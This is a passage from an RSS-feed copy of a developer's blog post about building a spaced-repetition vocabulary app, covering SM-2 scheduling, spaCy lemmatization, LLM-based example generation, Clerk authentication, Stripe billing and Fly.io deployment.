&lt;h2 id=&#34;how-to-use&#34;&gt;How to Use&lt;/h2&gt;
&lt;p&gt;The app is organized into eight pages, accessible from the sidebar.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Texts&lt;/strong&gt; — a possible starting point. Upload plain text files (articles, book chapters, transcripts, anything). The app renders the text with your known vocabulary highlighted inline. Click a highlighted word to see its definition and use cases. Select any word or phrase in the text to add it to your deck or attach it as a new use case for an existing word.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;See Words&lt;/strong&gt; — another potential starting point. Your full vocabulary list. Add words manually, edit notes and definitions, manage use cases, or trigger AI generation of use cases for a word. This alternative interface allows you to add word by word, instead of selecting from a text. This is where you build and curate the deck outside of a reading session.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Add Sentences&lt;/strong&gt; — enter a sentence and click individual words to canonicalize them (resolve inflected forms to their dictionary entry) and look up their notes and use cases. Useful for processing sentences you encounter outside the app. I would say, a third entry point.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Review&lt;/strong&gt; — the daily SRS queue. Words due today are presented one at a time. You see the word and its use cases, try to recall it, then reveal the notes and self-rate: Again, Hard, Good, or Easy. The SRS engine reschedules each word based on your rating.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Manual Review&lt;/strong&gt; — the same interface as Review, but loads all words in the deck regardless of due date and does not record ratings. Use this to browse or self-test without affecting the SRS schedule.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Search&lt;/strong&gt; — lemmatized search across your uploaded texts. Type a word in any form and the app finds every sentence in your corpus where that word (or any inflection of it) appears.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Table&lt;/strong&gt; — a sortable list of all words with their SRS metadata: due date, interval, ease factor, streak. Useful for getting an overview of where your deck stands.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Settings&lt;/strong&gt; — deck management (create new decks, switch the active deck) and subscription management (subscribe, view status, open the Stripe customer portal).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&#34;the-srs-engine&#34;&gt;The SRS engine&lt;/h2&gt;
&lt;p&gt;Spaced repetition is based on the insight that you should review something just before you&amp;rsquo;re about to forget it. Review too soon and you&amp;rsquo;re wasting time; review too late and you&amp;rsquo;ve already forgotten.&lt;/p&gt;
&lt;p&gt;The algorithm I implemented is SM-2 (SuperMemo 2), which is the same algorithm Anki uses. Each word has two key numbers: an &lt;strong&gt;ease factor&lt;/strong&gt; (a multiplier representing how difficult the word is for you) and an &lt;strong&gt;interval&lt;/strong&gt; (days until next review). After every review:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Again&lt;/strong&gt;: reset the interval to 1 day, reduce ease factor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hard&lt;/strong&gt;: multiply the interval by 0.85, reduce ease factor slightly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Good&lt;/strong&gt;: multiply the interval by the ease factor (standard progression).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Easy&lt;/strong&gt;: multiply the interval by 1.3 × ease factor, increase ease factor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The ease factor is clamped at a minimum of 1.3 — words can only get so hard. After a few months, a word you know well might have an interval of 100+ days. You barely think about it.&lt;/p&gt;
&lt;p&gt;The state for each word (interval, ease factor, due date, streak, repetitions) lives in an &lt;code&gt;srs_state&lt;/code&gt; table. Every review is also logged to a separate &lt;code&gt;reviews&lt;/code&gt; table — append-only history — so I can build analytics later without losing data.&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t think the particularities of the learning algorithm are as important as the generation of the cards, but it&amp;rsquo;s important to elucidate how precisely it works. The learning algorithm isn&amp;rsquo;t changed from Anki, but understanding how it calculates and its principles of operation is important.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;nlp-lemmatization-and-why-it-matters&#34;&gt;NLP: lemmatization and why it matters&lt;/h2&gt;
&lt;p&gt;When you search for &amp;ldquo;running&amp;rdquo; in a text, you usually want to find &amp;ldquo;run&amp;rdquo;, &amp;ldquo;runs&amp;rdquo;, &amp;ldquo;ran&amp;rdquo; too. This is &lt;strong&gt;lemmatization&lt;/strong&gt; — reducing a word to its dictionary form.&lt;/p&gt;
&lt;p&gt;I used spaCy for this. Each language has a separate model (&lt;code&gt;fr_core_news_sm&lt;/code&gt;, &lt;code&gt;es_core_news_sm&lt;/code&gt;, etc.) that gets loaded lazily on first use and cached in memory. On top of that, I pre-build a &lt;strong&gt;lemma map&lt;/strong&gt; per deck — a dictionary from lemma string to word record — so that highlight and search queries can run fast without re-tokenizing everything.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Simplified highlight logic&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;highlight&lt;/span&gt;(text, deck_id):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    nlp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; _get_nlp(active_deck&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;language)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lemma_map &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; _get_lemma_map(deck_id)  &lt;span style=&#34;color:#75715e&#34;&gt;# lemma → {word_id, word}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    doc &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; nlp(text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;start&amp;#34;&lt;/span&gt;: token&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;idx, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;end&amp;#34;&lt;/span&gt;: token&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;idx &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; len(token), &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;word_id&amp;#34;&lt;/span&gt;: lemma_map[token&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;lemma_][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;word_id&amp;#34;&lt;/span&gt;]}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; token &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; doc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; token&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;lemma_ &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; lemma_map
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The lemma map gets invalidated whenever a word is added or deleted from the deck. It&amp;rsquo;s rebuilt on next use. Simple and effective.&lt;/p&gt;
&lt;p&gt;One complication: the spaCy models aren&amp;rsquo;t bundled with the package — you have to download them separately. In the Dockerfile, this meant explicitly running &lt;code&gt;python -m spacy download fr_core_news_sm&lt;/code&gt; (and the other three language models) at build time. That&amp;rsquo;s easy to miss, and I did miss it for the non-French models initially.&lt;/p&gt;
&lt;p&gt;An alternative would be to use a RAG, or vector DB.&lt;/p&gt;
&lt;p&gt;Lemmatization shows up in three places in the app:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Texts&lt;/strong&gt; — when rendering a text, every token is lemmatized and looked up in the deck&amp;rsquo;s lemma map. If the lemma matches a known word, that token gets highlighted. This means &amp;ldquo;découvrons&amp;rdquo; lights up because &amp;ldquo;découvrir&amp;rdquo; is in the deck, even though the exact string doesn&amp;rsquo;t appear.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Search&lt;/strong&gt; — the query is lemmatized before matching. Type &amp;ldquo;led&amp;rdquo; and the search finds sentences containing &amp;ldquo;lead&amp;rdquo;, &amp;ldquo;leads&amp;rdquo;, &amp;ldquo;leading&amp;rdquo;, &amp;ldquo;led&amp;rdquo; — any form that shares the same lemma. The corpus sentences are also lemmatized at search time, so the match is lemma-to-lemma rather than string-to-string.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Add Sentences&lt;/strong&gt; — when you click a word in the entered sentence, the app lemmatizes it to find the canonical form before looking it up in the deck. This is the first step of canonicalization (before the spaCy POS logic and Ollama fallback kick in for multi-word phrases).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&#34;canonicalization-what-form-should-i-look-up&#34;&gt;Canonicalization: what form should I look up?&lt;/h2&gt;
&lt;p&gt;When a user selects a word in a text and wants to add it to their deck, they&amp;rsquo;re probably looking at an inflected form — &amp;ldquo;découvert&amp;rdquo; instead of &amp;ldquo;découvrir&amp;rdquo;. I need to canonicalize it to its dictionary form before adding it to the deck.&lt;/p&gt;
&lt;p&gt;I built a two-tier approach:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;spaCy first&lt;/strong&gt;: Fast, local, free. For single tokens, return the lemma. For multi-word phrases, strip function words and reflexive pronouns, then pick the most semantically significant word by POS priority (VERB &amp;gt; NOUN &amp;gt; ADJ &amp;gt; ADV).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;LLM fallback&lt;/strong&gt;: If spaCy returns nothing useful (common with complex phrases), fall back to a local LLM with a language-aware prompt.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Right now there&amp;rsquo;s only 1 LLM being used, however, in the future, I would separate between a cheap LLM for canonicalization, and a more expensive and sophisticated one for other prompts (like sense generation).&lt;/p&gt;
&lt;!-- The French reflexive pronoun handling (`se`, `s&#39;`) is currently hardcoded — a known wart that needs generalizing for Spanish (`se`) and German (`sich`). --&gt;
&lt;hr&gt;
&lt;h2 id=&#34;ai-content-generation&#34;&gt;AI content generation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Use case generation&lt;/strong&gt; (&lt;code&gt;/api/generate&lt;/code&gt;): Given a word, ask the LLM to produce a comprehensive set of example sentences covering all meaningful senses — like a lexicographer would. Low temperature (0.2), structured JSON output. The prompt is explicit about what to include: core meanings, prepositional constructions, reflexive forms, idiomatic phrases.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m using OpenAI GPT-4o-mini — good enough for this task, cheap, fast. But I wrapped the LLM call in a pluggable client interface so the app can use Anthropic&amp;rsquo;s API or a local Ollama instance without changing any calling code. This came in handy during development when I was running everything locally.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;multi-user-design-and-auth&#34;&gt;Multi-user design and auth&lt;/h2&gt;
&lt;p&gt;The app is multi-user with a subscription paywall. Auth is handled by Clerk — I just validate JWTs on the backend with &lt;code&gt;python-jose&lt;/code&gt;, extract the user ID from &lt;code&gt;claims[&amp;quot;sub&amp;quot;]&lt;/code&gt;, and use that to scope all data.&lt;/p&gt;
&lt;p&gt;Data ownership flows through a chain: &lt;code&gt;subscriptions.user_id&lt;/code&gt; → &lt;code&gt;decks.user_id&lt;/code&gt; → &lt;code&gt;words.deck_id&lt;/code&gt; → &lt;code&gt;srs_state.word_id&lt;/code&gt;. Endpoints that accept a &lt;code&gt;word_id&lt;/code&gt; directly verify ownership before operating — there&amp;rsquo;s an explicit &lt;code&gt;_get_word_for_user()&lt;/code&gt; check rather than trusting the client.&lt;/p&gt;
&lt;p&gt;Billing is Stripe subscriptions. The flow:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;User clicks Subscribe → create a Stripe Checkout session → redirect.&lt;/li&gt;
&lt;li&gt;Payment completes → Stripe fires a webhook → backend writes &lt;code&gt;status = &amp;quot;active&amp;quot;&lt;/code&gt; to &lt;code&gt;subscriptions&lt;/code&gt; table.&lt;/li&gt;
&lt;li&gt;Every API call (except deck endpoints and billing endpoints) checks &lt;code&gt;require_subscription&lt;/code&gt;, which chains off JWT verification.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id=&#34;deployment&#34;&gt;Deployment&lt;/h2&gt;
&lt;p&gt;Single container on Fly.io. FastAPI serves both the API and the built React frontend. SQLite and the text corpus live on a persistent Fly.io volume at &lt;code&gt;/data&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The multi-stage Dockerfile builds the React frontend with Node first, then copies the &lt;code&gt;dist/&lt;/code&gt; into the Python image. &lt;code&gt;VITE_CLERK_PUBLISHABLE_KEY&lt;/code&gt; is a Docker build arg (it&amp;rsquo;s a public key — safe to bake into the bundle at build time).&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-id-do-differently&#34;&gt;What I&amp;rsquo;d do differently&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Text corpus in the database.&lt;/strong&gt; Right now, texts are stored as &lt;code&gt;.txt&lt;/code&gt; files in a per-user directory. It works, but it means backups require copying both the database &lt;em&gt;and&lt;/em&gt; the files directory. Moving texts into a &lt;code&gt;texts&lt;/code&gt; table would simplify everything.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-i-learned&#34;&gt;What I learned&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;spaCy is powerful but has operational surface area.&lt;/strong&gt; The models are separate downloads that have to be explicitly included in your Docker image. It&amp;rsquo;s easy to end up with the model working locally but missing in production.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SQLite is underrated for this kind of app.&lt;/strong&gt; Multi-user, subscriptions, SRS state — all of it works fine in SQLite on a single machine. The migration system I built (numbered &lt;code&gt;.sql&lt;/code&gt; files, applied once and tracked in a &lt;code&gt;schema_migrations&lt;/code&gt; table) is dead simple and has never given me trouble.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The LLM pluggability paid off.&lt;/strong&gt; Being able to swap between OpenAI, Anthropic, and local Ollama during development meant I wasn&amp;rsquo;t burning API credits constantly. The &lt;code&gt;CompletionClient&lt;/code&gt; protocol is maybe 10 lines of code and saved a lot of friction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Clerk + Stripe is a pretty good combination.&lt;/strong&gt; Clerk handles all the auth complexity (OAuth, magic links, session management), and the JWT validation on the backend is straightforward. Stripe&amp;rsquo;s webhook model is reliable once you understand that local testing uses a different webhook secret than production.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;whats-next&#34;&gt;What&amp;rsquo;s next&lt;/h2&gt;
&lt;p&gt;A few things I want to build:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AI tutor&lt;/strong&gt; having an AI tutor chatbot that can know what you&amp;rsquo;ve already done, what you need to work on&lt;/li&gt;
&lt;/ul&gt;
</description>
      <author>ronalds.vilcins@gmail.com (Ronalds Vilcins)</author>
      <guid>/writing/srs-app/</guid>
      <pubDate>Sat, 28 Mar 2026 12:17:43 -0400</pubDate>
    </item>
    
  </channel>
</rss>
